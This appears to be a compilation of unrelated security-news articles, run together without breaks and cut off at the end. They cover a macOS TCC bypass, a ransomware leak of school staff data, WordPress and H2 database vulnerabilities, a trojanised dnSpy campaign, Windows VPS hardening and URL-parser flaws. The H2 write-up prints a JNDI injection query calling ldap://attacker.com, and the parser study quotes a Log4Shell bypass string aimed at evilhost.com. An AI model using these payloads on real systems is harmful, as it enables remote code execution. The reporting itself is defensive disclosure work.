The vulnerability could allow an attacker to bypass the macOS Transparency, Consent, and Control measures to access a user’s protected data
Microsoft today disclosed a vulnerability in Apple’s macOS that could enable an attacker to gain unauthorized access to protected user data through bypassing the Transparency, Consent, and Control (TCC) technology in the operating system.
The Microsoft Security Vulnerability Research (MSVR) team reported its discovery to Apple’s product security team on July 15, 2021. Apple addressed CVE-2021-30970, dubbed “Powerdir”, in a rollout of security updates released on Dec. 13.
TCC is an Apple subsystem introduced in 2012 in macOS Mountain Lion. The technology was designed to help users configure the privacy settings of their device’s applications; for example, access to the camera or microphone, or their calendar or iCloud account. To secure TCC, Apple created a feature that prevents unauthorized code execution and enforced a policy that limited TCC access only to applications with full disk access.
The vulnerability Microsoft found would allow adversaries to work around this feature and launch an attack on a macOS device. Microsoft confirms this has not been exploited in the wild, and it only affects macOS. iOS devices are not affected.
When an app requests access to protected user data, one of two actions can occur: if the app and request type has a record in the TCC databases, then a flag in the database entry says whether the request should be allowed or denied without user interaction. If they do not have a record, the user is prompted to grant or deny access.
Researchers learned it’s possible to programmatically change a target’s home directory and plant a fake TCC database, which stores the consent history of app requests, wrote Jonathan Bar Or, with the Microsoft 365 Defender Research Team, in a blog post on the findings. If exploited on an unpatched system, this flaw could let an attacker to potentially conduct an attack based on the victim’s protected personal data, Or wrote.
“For example, the attacker could hijack an app installed on the device—or install their own malicious app—and access the microphone to record private conversations or capture screenshots of sensitive information displayed on the user’s screen,” he explained.
This is the latest in a string of TCC vulnerabilities Apple has patched in recent years. Last year, Apple patched CVE-2021-30713, a flaw that allowed attackers to bypass TCC protections to deliver XCSSET malware. Once on a machine, XCSSET used the bypass to take screenshots of the user’s desktop without needing permissions, report Jamf researchers who discovered the bug.
The year prior, other reported vulnerabilities related to TCC bypass included CVE-2020-9771 and CVE-2020-9934. Apple’s fix for the latter caught Microsoft’s attention, and in the team’s analysis, they discovered an exploit an attacker could use to change settings on any application. After it disclosed its findings to Apple, a similar bypass was presented in a Black Hat USA talk. However, Microsoft’s exploit continued to work after Apple fixed a similar vulnerability.
Researchers did have to make changes to their proof-of-concept after the October release of macOS Monterey, which made changes in how the dsimport tool works and rendered it’s initial PoC exploit ineffective.
“This shows that even as macOS or other operating systems and applications become more hardened with each release, software vendors like Apple, security researchers, and the larger security community, need to continuously work together to identify and fix vulnerabilities before attackers can take advantage of them,” Or wrote.
It’s a new year, but we are still seeing old problems with the education sector being compromised by ransomware attacks on the k-12 subsector.
Over the past weekend, threat actors known as Vice Society dumped data from Carthage R-9 district in Carthage, Missouri.
When contacted about the incident, a spokesperson for Vice Society informed DataBreaches.net that the attack occurred in the middle of December and the district had not made them a good offer to delete the files. Because they were busy in December, the spokesperson wrote, they did not spend a lot of time looking for good files from the district.
For its part, the district’s Superintendent, Dr. Mark Bayer, noted the incident in a Facebook post on December 14, and then acknowledged it in more detail on December 15, stating on its Facebook page:
We are experiencing a network outage affecting information technology systems and phone systems, and are working to restore access. On December 14, 2021, our IT staff noticed suspicious activity on the network and immediately implemented our incident response protocols, disconnected network access, and took systems offline to protect our network.
We are treating this matter with the highest priority. As part of our response process, we engaged many consultants, including independent forensic specialists, who are working to help us investigate the suspicious activity and resolve the outage. We are committed to completing a detailed analysis of our internal systems and will take all appropriate action in response to its findings.
Although it was easy to spot personnel/human resources files in the data dump, a skim of the dump did not reveal any databases containing student or parent information. The biggest risk appeared to be to the more than 1,000 employees whose W-2 data, complete with social security numbers, has been dumped on the dark web.
Other personnel and human resources files such as payroll information, contracts, and other matters were also noted in the dump.
Inquiries sent to the district’s communication team and then to the superintendent and IT director over the past 36 hours have gone unanswered. If the district does provide a statement or if further inspection of the data dump reveals student data was exfiltrated and dumped, this post will be updated.
When the double extortion method first gained traction, threat actors like Maze often gave victims months before dumping any data (or even listing them on a leak site). Some groups — such as Pysa and Hive — still seem to give victims months before dumping data. Others seem to be using quicker timeframes recently.
To the extent that some groups are giving victims a matter of weeks at best to respond, defenders or potential victims may need to look at their incident response plans and see if they have a plan that is triggered and implemented quickly enough.
Jack Gillum sought — and obtained — some records from Missouri Governor Parson’s office concerning the governor’s staff’s public statements and the governor’s intention to try to prosecute journalist Josh Renaud.
Renaud’s crime: he discovered a vulnerability on a state website whereby pressing the F12 key to view the source of a page, one could see teachers’ social security numbers exposed in plain text. Renaud verified his discovery and then notified the state, delaying publication until the state could secure the data.
Instead of thanking the reporter and his newspaper — as the state initially planned to do — the governor did an about-face and called the journalist a “hacker” and is pushing to have him prosecuted under state law.
Nothing has changed since the story first made news in October. The governor continues to insist that the reporter is likely to be prosecuted, while most members of the press and researchers point out the dangerous situation that would result — where people will be afraid to disclose vulnerabilities to the state.
Yes, Missouri’s law has wording that might seemingly allow Missouri to prosecute anyone who gains access to others’ personal information without their authorization, but did the law really anticipate the governor going after those researchers or journalists who responsibly disclose or report on breaches or leaks?
So…. what will Governor Parsons do when journalists report on ransomware incidents involving Missouri entities where data involving personal information has been dumped by threat actors and viewed and reported upon by journalists? Look at these provisions in their law:
(3) Discloses or takes data, programs, or supporting documentation, residing or existing internal or external to a computer, computer system, or computer network; or[…]
(6) Receives, retains, uses, or discloses any data he knows or believes was obtained in violation of this subsection.
So does that mean reporting on a data dump from a criminal hack unlawfully “uses” or “discloses” data?
A VPS server is a great hosting option if you want more control over your server without dishing out large amounts of cash for a dedicated server. There are two operating system options to choose from. You can either go with a Windows-based server or a Linux-based server. In this article, we will cover Windows Virtual Private Server security.
After purchasing your Windows VPS hosting and receiving your VPS login details, security is the next best move. Today, we tap in on a few tips on securing your Windows VPS.
One of the most important matters which worries people while using a virtual server is security. Here we will try to present some useful tips to improve the overall security of a Windows virtual server.
Steps to Hardening a Windows VPS Security
We, CyberSecurity experts often get asked, how to secure a VPS. So without further ado, here it is.
1. Disable Default Administrator Account. Then, Create A New User With Admin Permissions.
Your Windows VPS hosting provider installs the OS and creates a default administrator account. This is quite usual and typical. The drawback is that your account can easily be attacked. The attack is usually by bots trying to login with brute-force. Also, there are some automated attacks that can follow suit.
Well, this is easy and simple to prevent. You just have to disable the default administrator account. And then, create a new user with full administrative privileges. Some enthusiast VPS administrators change their usernames to “admin,” which is as bad as leaving it unchanged. Hence, you should create a new administrator account with random letters.
Firstly, you should create a new account. Set a secure, long password. Add the new account to the administrator group
add to the administrators group
Now that we have created a new account, go ahead and disable the administrator account. Head to the properties of the Administrator user, and tick the “Account is disabled” Box
Why disable the local Administrator account?
The built-in Administrator is basically a setup and disaster recovery account. You should use it during setup and to join the machine to the domain. The built-in administrator account has a specific and well-known security identifier, and some attacks target that particular SID. Renaming the account doesn’t help, because the SID will stay the same. Therefore, Microsoft leaves the administrator account disabled and expects you to create a new one.
Disabling the default admin account further adds a bit of security in that if someone wants to take the account over, they can’t just brute force their way in with it being disabled. They have to figure out which account is an admin and break in that way.
2. Use a Strong, Long, Unique Password
Strong password
Creating a strong, unique password is the first line of defence in preventing unauthorized access to your vps. One of the easiest ways for criminals to hack into your accounts and steal personal and financial information is to guess passwords. If they can successfully crack the password for just one of your accounts, there’s a good chance they can hack multiple accounts using the same details.
A strong password should be between 8-15 characters long, a mix of uppercase and lowercase letters and include numbers or symbols. For extra security, a passphrase can be created which is a password composed of a sentence or combination of words. The first letter of each word will form the basis of the password and letters can be substituted with numbers and symbols to make it more difficult to crack.
Here we will give an example of bad versus good passwords.
Realinfosec100 – BAD
Realinfosec123 BAD
LondonJohn100 BAD
Re4linf0s3C()()%!%100$! GOOD
R34linf0s3C!%!123!$% GOOD
L0Nd0n$John!1$0%0!% GOOD
3. Lockdown Remote Desktop Protocol (RDP) Ports
Reduce your footprint, lockdown ports
Reduce your footprint, lockdown access to Windows Remote Desktop(RDP) to specific IP’s like your home or office (Note that you will need a dedicated IP to utilize this feature) and change the default listening port from 3389 to a five-digit, long, randomly picked number. These settings can be changed through the Advanced Windows Firewall options.
The next on our list follows the preceding step. So, you have to change the default port for Remote Desktop before restricting unknown IP addresses to gain access to your VPS. You only need an Internet connection with a static IP address to meet this.
Standard home DSL, Cable, and Wireless connections do not have a static IP address. Note that most home connections do not have a static IP address whatsoever.
Lastly, restricting IP addresses requires care. You can unknowingly lock yourself out.
4. Windows BitLocker Drive Encryption
Windows BitLocker
Windows BitLocker Drive Encryption secures the operating system booting process and prevents unauthorized data mining. BitLocker Drive Encryption works even when the server is not powered on! It’s a very effective anti-hacking tool against malware.
Installing BitLocker
To install BitLocker using Server Manager
Open Server Manager by selecting the Server Manager icon or running servermanager.exe.
Select Manage from the Server Manager Navigation bar and select Add Roles and Features to start the Add Roles and Features Wizard.
With the Add Roles and Features Wizard open, select Next at the Before you begin pane (if shown).
Select Role-based or feature-based installation on the Installation type pane of the Add Roles and Features Wizard pane and select Next to continue.
Select the Select a server from the server pool option in the Server Selection pane and confirm the server for the BitLocker feature install.
Server roles and features install using the same wizard in Server Manager. Select Next on the Server Roles pane of the Add Roles and Features wizard to proceed to the Features pane.
Select the check box next to BitLocker Drive Encryption within the Features pane of the Add Roles and Features Wizard. The wizard will show the additional management features available for BitLocker. If you do not want to install these features, deselect the Include management tools option and select Add Features. Once optional features selection is complete, select Next to proceed in the wizard.Note: The Enhanced Storage feature is a required feature for enabling BitLocker. This feature enables support for Encrypted Hard Drives on capable systems.
Select Install on the Confirmation pane of the Add Roles and Features Wizard to begin BitLocker feature installation. The BitLocker feature requires a restart to complete. Selecting the Restart the destination server automatically if required option in the Confirmation pane will force a restart of the computer after installation is complete.
If the Restart the destination server automatically if required check box is not selected, the Results pane of the Add Roles and Features Wizard will display the success or failure of the BitLocker feature installation. If required, a notification of additional action necessary to complete the feature installation, such as the restart of the computer, will be displayed in the results text.
To install BitLocker using Windows PowerShell
Windows PowerShell offers administrators another option for BitLocker feature installation. Windows PowerShell installs features using the servermanager or dism module; however, the servermanager and dism modules do not always share feature name parity. Because of this, it is advisable to confirm the feature or role name prior to installation.
Note: You must restart the server to complete the installation of BitLocker.
Using the servermanager module to install BitLocker
The servermanager Windows PowerShell module can use either the Install-WindowsFeature or Add-WindowsFeature to install the BitLocker feature. The Add-WindowsFeature cmdlet is merely a stub to the Install-WindowsFeature. This example uses the Install-WindowsFeature cmdlet. The feature name for BitLocker in the servermanager module is BitLocker.
By default, installation of features in Windows PowerShell does not include optional sub-features or management tools as part of the install process. This can be seen using the -WhatIf option in Windows PowerShell.PowerShellCopy
Install-WindowsFeature BitLocker -WhatIf
The results of this command show that only the BitLocker Drive Encryption feature installs using this command.
To see what would be installed with the BitLocker feature including all available management tools and sub-features, use the following command:PowerShellCopy
The result of this command displays the following list of all the administration tools for BitLocker that would be installed along with the feature, including tools for use with Active Directory Domain Services (AD DS) and Active Directory Lightweight Directory Services (AD LDS).
The command to complete a full installation of the BitLocker feature with all available features and then rebooting the server at completion is:PowerShellCopy
The importance of using an antivirus to secure your server is clear. You can start with the Essentials, a free and robust option by Microsoft. It auto-updates itself with the latest definition. It also offers real-time protection to your server. An antivirus protects you from almost all online security threats which firewall lets through, however combining both is best in securing Windows server.
Antivirus protects you from almost all online security threats — which firewall cannot do. However, combining both is best in securing Windows VPS.
6. Enable and Harden Windows Firewall
Windows Firewall
Windows Firewall, as default, normally comes with every Windows OS. It does its job well and can contend with expensive firewalls. Below are some of its benefits:
Prevents hackers and malicious software
Filters information coming from the Internet according to your settings
Windows Firewall is decent — but lacking when you are running critical operations (such as credit card information processing) on VPS. Windows Firewall is more than enough for basic to intermediate operations. Advanced operations, though, requires more. Opting for a third-party firewall is the only option in such situations.
Our advice is to select “Deny all” as your default policy and carefully enable those you need. Only open ports that are required to be open as per your specific use.
7. Microsoft Baseline Security Analyzer
Microsoft Safety SMBSA is a free application to determine missing security updates and vulnerable security settings within Windows. It not only provides detailed insights on vulnerable components and settings but also lists possible measures to secure the server.
Additionally, you should utilize Microsoft Safety Scanner on a regular basis. Microsoft Safety Scanner is a scan tool designed to find and remove malware from Windows computers. Simply download it and run a scan to find malware and try to reverse changes made by identified threats.
8. Keep Windows and Other Applications/Services Updated
All code is considered to be PERFECT until its loopholes and backdoors are unidentified, before we know it, they are being exploited in the wild. On this note; when you receive your new VPS, it is recommended that you run Windows updates as soon as possible.
To install important updates automatically, you should turn on automatic updating. Important updates provide benefits such as improved security, vulnerability patches, and bug fixes. Recommended updates are meant to address non-critical problems and enhance computing experience. Recommended updates can also be downloaded and installed automatically.
Optional updates are downloaded and installed at your choice, as you cannot set them to automatic. When you do not turn on automatic updating, make sure that you check for updates regularly.
Update third party software regularly
Microsoft always works really hard to highly secure Windows. Despite the number of OS today, Windows is arguably the safest. Yet, security is often weakened when we install third-party software.
9. Intrusion Prevention/Detection
Setting up an intrusion prevention and detection tool is not for everyone. It is highly advised to hire experts in this field. Better yet, you can contact your Windows VPS hosting provider for more reliable help.
You need to make sure there is a firewall-like software analyzing real-time network traffic to your VPS. Also, attack signatures should be identified by this software. Snort is arguably the best option for such tasks. It is a widely-used open-source network intrusion prevention tool.
10. Use Spyware Protection
Spyware infects your VPS with ease. Cyber Security Experts often receive complaints about VPS users running a spyware-infected VPS.
First, let’s define spyware. Spyware is software that displays unwanted advertisements on your machine. Spyware mostly collects your information without your permission. Also, it alters your VPS settings without your permission.
Having spyware on your Windows can result in toolbars being installed. Even worse, spyware can alter your default home page, add links and bookmarks, and/or display pop-up ads repeatedly. That kind of spyware is even better than the “silent” ones. This spyware works silently in the background and collects personal information. These can range from visited websites to search engine keywords and your keystrokes.
So, where can you get spyware? The most likely way is through the Internet. Some free apps you have downloaded and installed are likely the source. In other cases, simply visiting a website can inject spyware into your Windows.
Installing anti-spyware software is the safest protection technique. A typical anti-spyware software alerts you of spyware attacks. You can also scan to detect the spyware and remove it successfully. Lastly, keep your anti-spyware software up-to-date to get the best security.
Zap-Hosting – Windows/Linux Hosting Provider
Finally, how about some serious value for your buck when it comes to VPS hosting? What about Teamspeak hosting? We highly recommend Zap-Hosting for all your Gaming hosting requirements, go check them out.
The WordPress development team released version 5.8.3, a short-cycle security release that addresses four vulnerabilities, three of which are rated of high importance.
The set includes an SQL injection on WP_Query, a blind SQL injection via the WP_Meta_Query, an XSS attack via the post slugs, and an admin object injection.
All of the issues have prerequisites for their exploitation, and most WordPress sites that use the default automatic core updates setting aren’t in danger.
WordPress 5.8.2 or Older Vulnerable
However, websites using WordPress 5.8.2 or older, with read-only filesystems that have disabled automatic core updates in wp-config.php, could be vulnerable to attacks based on the identified flaws.
The four flaws addressed with the latest security update are the following:
CVE-2022-21661: High severity (CVSS score 8.0) SQL injection via WP_Query. This flaw is exploitable via plugins and themes that use WP-Query. Fixes cover WordPress versions down to 3.7.37.
CVE-2022-21662: High severity (CVSS score 8.0) XSS vulnerability allowing authors (lower privilege users) to add a malicious backdoor or take over a site by abusing post slugs. Fixes cover WordPress versions down to 3.7.37.
CVE-2022-21664: High severity (CVSS score 7.4) SQL injection via the WP_Meta_Query core class. Fixes cover WordPress versions down to 4.1.34.
CVE-2022-21663: Medium severity (CVSS score 6.6) object injection issue that can only be exploited if a threat actor has compromised the admin account. Fixes cover WordPress versions down to 3.7.37.
There have been no reports of the above being under active exploitation in the wild, and none of these flaws is thought to have a severe potential impact on most WordPress sites.
Nonetheless, it is recommended that all WordPress site owners upgrade to version 5.8.3, review their firewall configuration, and ensure that WP core updates are activated.
This setting can be seen on the ‘define’ parameter in wp-config.php, which should be “define(‘WP_AUTO_UPDATE_CORE’, true );”
Automated core updates were introduced in 2013 on WordPress 3.7, and according to official stats, only 0.7% of all WP sites are currently running a version older than that.
The European Data Protection Supervisor (EDPS), an EU privacy and data protection independent supervisory authority, has ordered Europol to erase personal data on individuals that haven’t been linked to criminal activity.
According to the EDPS, the watchdog considers personal data any identification number, location data, or online identifier associated with an individual’s physical, physiological, genetic, mental, economic, cultural, or social identity.
Europol was notified of this order one week ago, on January 3, 2022. The decision follows an own-initiative inquiry started on April 30, 2019, regarding the EU police body’s use of Big Data Analytics for personal data processing activities.
An order was issued after admonishing Europol in 2020
The EU data watchdog issued this order after admonishing Europol in September 2020 for storing large amounts of data on individuals that haven’t been linked to criminal activity, putting their fundamental rights at risk.
“The EDPS’ Decision is about protecting individuals whose personal data is included in datasets transferred to Europol by EU Member States’ law enforcement authorities,” said the EDPS today [PDF].
“According to the Europol Regulation, Europol is only allowed to process data about individuals who have a clear, established link to criminal activity (e.g. suspect, witness, etc).
“Limiting Europol’s processing of data avoids exposing other individuals who do not all into these categories, therefore minimising the risks associated with having their data processed in Europol’s databases.”
EDPS imposes six months data retention period
Europol failed to comply with obligations under the Europol Regulation to filter and extract crime-related information from its databases.
Thus, the EDPS has now also imposed a 6-month retention period on the personal information collected by the police body, which means that Europol must erase all data not filtered within six months its databases to prevent its processing longer than needed.
“Such collection and processing of data may amount to a huge volume of information, the precise content of which is often unknown to Europol until the moment it is analysed and extracted – a process often lasting years,” European Data Protection Supervisor Wojciech Wiewiórowski added in a press release published today.
“A 6-month period for pre-analysis and filtering of large datasets should enable Europol to meet the operational demands of EU Member States relying on Europol for technical and analytical support, while minimising the risks to individuals’ rights and freedoms.”
Hackers targeted cybersecurity researchers and developers this week in a sophisticated malware campaign distributing a malicious version of the dnSpy .NET application to install cryptocurrency stealers, remote access trojans, and miners.
dnSpy is a popular debugger and .NET assembly editor used to debug, modify, and decompile .NET programs. Cybersecurity researchers commonly use this program when analyzing .NET malware and software.
While the software is no longer actively developed by the initial developers, the original source code and a new actively developed version is available on GitHub to be cloned and modified by anyone.
Malicious dnSpy delivers a cocktail of malware
This week, a threat actor created a GitHub repository with a compiled version of dnSpy that installs a cocktail of malware, including clipboard hijackers to steal cryptocurrency, the Quasar remote access trojan, a miner, and a variety of unknown payloads.
This new campaign was discovered by security researchers 0day enthusiast and MalwareHunterTeam who saw the malicious dnSpy project initially hosted at https://github[.]com/carbonblackz/dnSpy/ and then switching to https://github[.]com/isharpdev/dnSpy to appear more convincing.
Malicious dnSpy GitHub repository
The threat actors also created a website at dnSpy[.]net that was nicely designed and professional-looking. This site is now down, but you can see a screenshot of the archived version below.
Malicious dnSpy[.net] site
To promote the website, the threat actors performed successful search engine optimization to get dnSpy[.]net listed on the first page of Google. This domain was also listed prominently on Bing, Yahoo, AOL, Yandex, and Ask.com.
As a backup plan, they also took out search engine ads to appear as the first item in search results, as shown below.
Google ad for fake dnSpy site
The malicious dnSpy application looks like the normal program when executed. It allows you to open .NET applications, debug them, and perform all the normal functions of the program.
Fake dnSpy application
However, when the malicious dnSpy application [VirusTotal] is launched, it will execute a series of commands that create scheduled tasks that run with elevated permissions.
In a list of the commands shared with BleepingComputer by MalwareHunterTeam, the malware performs the following actions:
Disables Microsoft Defender
Uses bitsadmin.exe to download curl.exe to %windir%\system32\curl.exe.
Uses curl.exe and bitsadmin.exe to download a variety of payloads to the C:\Trash folder and launch them.
Disables User Account Control.
Commands executed by fake dnSpy program
The payloads are downloaded from http://4api[.]net/ and include a variety of malware listed below:
The clipboard hijacker (cbot.exe) uses cryptocurrency addresses used in previous attacks with some success. The bitcoin address has stolen 68 bitcoin transactions totaling approximately $4,200.
The cryptocurrency addresses used as part of this campaign are:
At this time, both the dnSpy[.]net and the GitHub repository used to power this campaign are shut down.
However, security researchers and developers need to constantly be on the lookout for malicious clones of popular projects that install malware on their devices.
Attacks on cybersecurity researchers and developers are not new and are increasingly becoming more common to steal undisclosed vulnerabilities, source code, or gain access to sensitive networks.
Last year, Google and security researchers discovered that state-sponsored North Korean hackers targeted vulnerability researchers using a variety of lures. These lures included fake Visual Studio projects, Internet Explorer zero-day vulnerabilities, malicious cybersecurity companies, and malicious IDA Pro downloads.
Very recently, the JFrog security research team has disclosed an issue in the H2 database console which was issued a critical CVE – CVE-2021-42392. This issue has the same root cause as the infamous Log4Shell vulnerability in Apache Log4j (JNDI remote class loading).
H2 is a very popular open-source Java SQL database offering a lightweight in-memory solution that doesn’t require data to be stored on disk.
This makes it a popular data storage solution for various projects from web platforms like Spring Boot to IoT platforms like ThingWorks.
The com.h2database:h2 package is part of the top 50 most popular Maven packages, with almost 7000 artifact dependencies.
Due to the current sensitivities around anything (Java) JNDI-related, we want to clarify a few of the conditions and configurations that must be present in order to be at risk before getting into the technical details of our H2 vulnerability findings.
Although this is a critical issue with a similar root cause, CVE-2021-42392 should not be as widespread as Log4Shell (CVE-2021-44228) due to the following factors:
Unlike Log4Shell, this vulnerability has a “direct” scope of impact. This means that typically the server that processes the initial request (the H2 console) will be the server that gets impacted with RCE. This is less severe compared to Log4Shell since the vulnerable servers should be easier to find.
On vanilla distributions of the H2 database, by default the H2 console only listens to localhost connections – making the default setting safe. This is unlike Log4Shell which was exploitable in the default configuration of Log4j. However – it’s worth noting the H2 console can easily be changed to listen to remote connections as well.
Many vendors may be running the H2 database, but not running the H2 console. Although there are other vectors to exploit this issue other than the console, these other vectors are context-dependent and less likely to be exposed to remote attackers.
That being said, if you are running an H2 console which is exposed to your LAN (or worse, WAN) this issue is extremely critical (unauthenticated remote code execution) and you should update your H2 database to version 2.0.206 immediately.
We have also observed that many developer tools are relying on the H2 database and specifically exposing the H2 console (some examples are included later in the blog post). The recent trend of supply chain attacks targeting developers, such as malicious packages in popular repositories, emphasizes the importance of developer tools being made secure for all reasonable use cases. We hope that many H2-dependent developer tools will also be safer after this fix is applied.
Why are we scanning for JNDI flaws?
One of our key takeaways from the Log4Shell vulnerability incident was that due to the widespread usage of JNDI, there are bound to be more packages that are affected by the same root cause as Log4Shell – accepting arbitrary JNDI lookup URLs. Thus, we’ve adjusted our automated vulnerability detection framework to take into consideration the javax.naming.Context.lookup function as a dangerous function (sink) and unleashed the framework onto the Maven repository to hopefully find issues similar to Log4Shell.
One of the first validated hits we got was on the H2 database package. After confirming the issue we reported it to the H2 maintainers, who promptly fixed it in a new release and created a critical GitHub advisory. Subsequently, we’ve also issued a critical CVE – CVE-2021-42392.
In this blogpost, we will present several attack vectors that we’ve found in the H2 database that allow triggering a remote JNDI lookup, with one of the vectors allowing for unauthenticated remote code execution.
Vulnerability root cause – JNDI remote class loading
In a nutshell, the root cause is similar to Log4Shell – several code paths in the H2 database framework pass unfiltered attacker-controlled URLs to the javax.naming.Context.lookup function, which allows for remote codebase loading (AKA Java code injection AKA remote code execution).
Specifically, the org.h2.util.JdbcUtils.getConnection method takes a driver class name and database URL as parameters. If the driver’s class is assignable to the javax.naming.Context class, the method instantiates an object from it and calls its lookup method:
The most severe attack vector of this issue is through the H2 console.
The H2 database contains an embedded web-based console, which allows easy management of the database. It’s available by default on http://localhost:8082 when running the H2 package JAR –
java -jar bin/h2.jar
Or, on Windows, through the Start menu –
Additionally, when H2 is used as an embedded library, the console can be started from Java –
Access to the console is protected by a login form, which allows passing the “driver” and “url” fields to the corresponding fields of JdbcUtils.getConnection. This leads to unauthenticated RCE, since the username and password are not validated before performing the lookup with the potentially malicious URL.
By default, the H2 console can be accessed from the localhost only. This option can be changed either through the console’s UI:
Or via a command line argument: -webAllowOthers.
Unfortunately, we’ve observed that some third-party tools relying on the H2 database will run the H2 console exposed to remote clients by default. For example, the JHipster framework also exposes the H2 console, and by default sets the webAllowOthers property to true:
# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false
As it follows from the documentation, when running your application using the JHipster framework, by default the H2 console is available at the JHipster web interface on the /h2-console endpoint:
Since the H2 database is used by so many artifacts, it’s hard to quantify how many vulnerable deployments of the H2 console exist in the wild. We consider this to be the most severe attack vector, also due to the fact that it is possible to locate WAN-facing vulnerable consoles by using public search tools.
H2 Shell tool – context-dependent RCE
In the built-in H2 shell, an attacker with control of the command line arguments can invoke the same vulnerable driver and url as already mentioned:
We consider this attack vector to be highly unlikely, since custom code needs to exist that pipes remote input to these command line arguments. The attack may be more likely if such custom code exists, which gives the attacker control on a part of the command line, but also contains a parameter injection attack. See our Yamale blogpost for more details on such an attack.
The vulnerable JdbcUtils.getConnection can also be invoked by several SQL stored procedures, available by default in the H2 database. We have identified several procedures, but they all share the same property which makes this attack vector less severe – only an authenticated (DB) admin may invoke them.
For example, the LINK_SCHEMA stored procedure directly passes driver and URL arguments into the vulnerable function, as illustrated in the following query –
SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');
Since the stored procedure is limited to DB admins only, we believe the most likely attack vector would be the escalation of a separate SQL injection flaw to RCE.
How can I check if I’m vulnerable to CVE-2021-42392?
Network administrators can scan their local subnets for open instances of the H2 console with nmap, for example –
(The default console endpoint in vanilla installations is “/”, this may be different in H2 consoles deployed via 3rd-party tools)
Any returned servers are highly likely to be exploitable.
As mentioned above, there are other attack vectors, but remote exploitation through them is much less likely. In any case we suggest upgrading the H2 database (see “Suggested Fix”).
How did JFrog detect CVE-2021-42392?
The issue can be detected via data flow analysis (DFA), when defining Java’s built-in HttpServlet.doGet/doPost methods as a user input source (specifically the 1st req argument), and the aforementioned javax.naming.Context.lookup method (which performs JNDI lookup) as a dangerous function/sink.
The data flow in this case is fairly straightforward, albeit requiring the tracing of some class fields. The variables marked in red represent the traced data –
What is the suggested fix for CVE-2021-42392?
We recommend all users of the H2 database to upgrade to version 2.0.206, even if you are not directly using the H2 console. This is due to the fact that other attack vectors exist, and their exploitability may be difficult to ascertain.
Version 2.0.206 fixes CVE-2021-42392 by limiting JNDI URLs to use the (local) java protocol only, which denies any remote LDAP/RMI queries. This is similar to the fix applied in Log4j 2.17.0.
How can CVE-2021-42392 be mitigated?
The best fix for the vulnerability is to upgrade the H2 database.
For vendors that are currently unable to upgrade H2, we offer the following mitigation options:
Similarly to the Log4Shell vulnerability, newer versions of Java contain the trustURLCodebase mitigation that will not allow remote codebases to be loaded naively via JNDI. Vendors may wish to upgrade their Java (JRE/JDK) version to enable this mitigation. This mitigation is enabled by default on the following versions of Java (or any later version) –
6u211
7u201
8u191
11.0.1
However, this mitigation is not bulletproof, as it can be bypassed by sending a serialized “gadget” Java object through LDAP, as long as the respective “gadget” class is included in the classpath (depends on the server that runs the H2 database). For more information, please see “Using serialized Java Objects with local gadget classes” from our Log4Shell blog post.
When the H2 console Servlet is deployed on a web server (not using the standalone H2 web server), a security constraint can be added that will allow only specific users access to the console page. A suitable configuration example can be found here.
Acknowledgements
We would like to thank the H2 database maintainers for validating and fixing these issues extremely quickly and for responsibly creating a security advisory for the issue.
We would like to give credit to the researcher @pyn3rd that showed a finding similar to one of the attack vectors mentioned here, before this publication. Specifically the fact that Spring Boot is susceptible to the H2 console JNDI issue, under non-default configuration. JFrog’s research efforts were completely independent to this finding, which wasn’t spotted by our research team nor the H2 maintainers, possibly due to the fact that no official advisories were published and that the publication wasn’t in English (which affects search results). Since our research highlights the root cause of the issue, and was disclosed properly to the H2 maintainers (which weren’t aware of any previous findings) – the aforementioned fixed version of the H2 database, 2.0.206, was created based on our disclosure and supplied patch. We feel that upgrading to a fixed version of H2 is even more important now, since some attackers may have seen the previous finding, extrapolated about the general issue, and have been using similar attack vectors for a while now. As always, we encourage security researchers to publish their findings only after contacting the maintainers and making sure a fixed version is widely available.
Conclusion
To conclude, we highly recommend upgrading your H2 database to the latest version, in order to avoid possible exploitation of CVE-2021-42392.
The JFrog Security Research team is continuously scanning for similar JNDI vulnerabilities, both for responsible disclosure purposes and for improving our future zero-day detection capabilities for our JFrog Xray customers.
To the best of our knowledge, CVE-2021-42392 is the first JNDI-related unauthenticated RCE vulnerability to be published since Log4Shell, but we suspect it won’t be the last.
Stay tuned to our blog for more disclosures and technical analyses that will help you protect your software supply chains from future attacks.
In the meantime, explore how you can discover and mitigate Log4j vulnerabilities in your software supply chain using the JFrog platform.
A study of 16 different Uniform Resource Locator (URL) parsing libraries has unearthed inconsistencies and confusions that could be exploited to bypass validations and open the door to a wide range of attack vectors.
In a deep-dive analysis jointly conducted by cybersecurity firms Claroty and Synk, eight security vulnerabilities were identified in as many third-party libraries written in C, JavaScript, PHP, Python, and Ruby languages and used by several web applications.
“The confusion in URL parsing can cause unexpected behaviour in the software (e.g., web application), and could be exploited by threat actors to cause denial-of-service conditions, information leaks, or possibly conduct remote code execution attacks,” the researchers said in a report.
url parser bug
With URLs being a fundamental mechanism by which resources — located either locally or on the web — can be requested and retrieved, differences in how the parsing libraries interpret a URL request could pose a significant risk for users.
A case in point is the critical Log4Shell flaw disclosed last month in the ubiquitous Log4j logging framework, which stems from the fact that a malicious attacker-controlled string, when evaluated as and when it’s being logged by a vulnerable application, results in a JNDI lookup that connects to an adversary-operated server and executes arbitrary Java code.
Although the Apache Software Foundation (ASF) quickly put in a fix to address the weakness, it soon emerged that the mitigations could be bypassed by a specially crafted input in the format “${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}” that once again permits remote JNDI lookups to achieve code execution.
“This bypass stems from the fact that two different (!) URL parsers were used inside the JNDI lookup process, one parser for validating the URL, and another for fetching it, and depending on how each parser treats the Fragment portion (#) of the URL, the Authority changes too,” the researchers said.
parse_url bug
Specifically, if the input is treated as a regular HTTP URL, the Authority component — the combination of the domain name and the port number — ends upon encountering the fragment identifier, whereas, when treated as an LDAP URL, the parser would assign the whole “127.0.0[.]1#.evilhost.com:1389” as the Authority since the LDP URL specification doesn’t account for the fragment.
Indeed, the use of multiple parsers emerged as one of the two primary reasons why the eight vulnerabilities were discovered, the other being issues arising from inconsistencies when the libraries follow different URL specifications, effectively introducing an exploitable loophole.
The dissonance ranges from confusion involving URLs containing backslashes (“\”), an irregular number of slashes (e.g., https:///www.example[.]com), or URL encoded data (“%”) to URLs with a missing URL scheme, which could be exploited to gain remote code execution or even stage denial-or-service (DoS) and open-redirect phishing attacks.
The list of eight vulnerabilities discovered are as follows, all of which have since been addressed by respective maintainers —
